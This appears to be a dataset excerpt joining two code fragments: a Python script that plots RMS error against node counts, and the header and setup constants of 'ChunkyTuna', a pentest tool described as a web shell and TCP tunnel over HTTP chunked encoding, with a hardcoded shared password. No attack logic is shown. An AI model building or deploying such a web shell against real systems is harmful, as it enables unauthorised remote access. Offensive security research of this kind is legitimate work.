text
stringlengths
1
93.6k
# Read JSON config
# config = json.loads(''.join(str(e) for e in data[1:30]), object_pairs_hook = OrderedDict)
# Filt all the actual data
data = list(filter(lambda x: x[0] == 'N', data))
data = list(filter(lambda x: x[4:6] != '13', data)) # temperory hack
data = list(map(lambda x: x.strip().split(','), data))
nodes = list(map(lambda x: int(x[0][4:]), data))
degrees = list(map(lambda x: float(x[1][5:]), data))
RMS = list(map(lambda x: float(x[2][7:]), data))
data = list(zip(nodes, degrees, RMS))
X = np.zeros((2, len(nodes)))
X[0][:] = nodes
X[1][:] = RMS
print (str(len(X[0])) + ' ' + str(len(X[1])))
print (X[0][0:100])
print (X[1][0:100])
Y = np.zeros((2, len(nodes)))
Y[0][:] = nodes
Y[1][:] = RMS
print (str(len(Y[0])) + ' ' + str(len(Y[1])))
print (Y[0][0:100])
print (Y[1][0:100])
Z = np.zeros((2, len(nodes)))
Z[0][:] = degrees
Z[1][:] = nodes
print (str(len(Z[0])) + ' ' + str(len(Z[1])))
print (Z[0][0:100])
print (Z[1][0:100])
data = sorted(data, key = lambda x: (x[0]))
# list(map(print, data))
end = len(nodes)
# plt.text(2000, 1.5, degree_function, size=10, ha="center")
fig = plt.figure()
# plt.title('D = ' + degree_function)
plt.plot(nodes[0:end], RMS[0:end])
plt.xlabel('Nodes')
plt.ylabel('RMS error')
plt.tight_layout()
plt.show()
# <FILESEP>
#!/usr/bin/env python3
# ChunkyTuna: an evolved web shell and TCP tunnel over HTTP Chunked Encoding
#
# Lorenzo Grespan <lorenzo.grespan@pentest.co.uk>
# (c) Secarma Ltd.
#
# Thanks to: Sam Thomas for the initial prototype and all the help
#
# This entire repository is released under a GPLv3 License.
import argparse
import datetime
import logging
import random
import re
import socket
import select
import string
import ssl
import sys
import time
import threading
if sys.version_info.major >= 3:
from urllib.parse import urlparse
else:
from urlparse import urlparse
__version__ = '0.9.1'
log = logging.getLogger(__name__)
sh = logging.StreamHandler()
# sh.setFormatter(logging.Formatter())
# use for debugging: has line numbers and function name
fmt = formatter = logging.Formatter(
' :: %(funcName)s():%(lineno)d %(levelname)s - '
'%(message)s', '%m-%d %H:%M:%S')
sh.setFormatter(fmt)
log.addHandler(sh)
log.setLevel(logging.INFO)
# might be worth playing with its size here
# BUFFER_SIZE = 16384
BUFFER_SIZE = 8192
HEARTBEAT_THRESHOLD = 2
HEARTBEAT_STRING = b'((([[[(((HEARTBEAT)))]]])))'
INITIAL_SOCKET_TIMEOUT = 30
# this must match the value in the callback
PASSWORD = b"Ddzq1Mg6rIJDCAj7ch78vl3ZEGcXnqKjs97gs5y"
HTTP_SEPARATOR = b"\r\n"
# some regexp to match cookies in HTTP headers.
# orig: (r'Set-Cookie: (.*?);.*$',
# cookie_pattern = re.compile(r'Set-Cookie: (.*?);.*$', re.IGNORECASE)
# ?) is non-greedy
# (?: is a non-matching group
# match any non-whitespace character but ignores anything after ; (if present)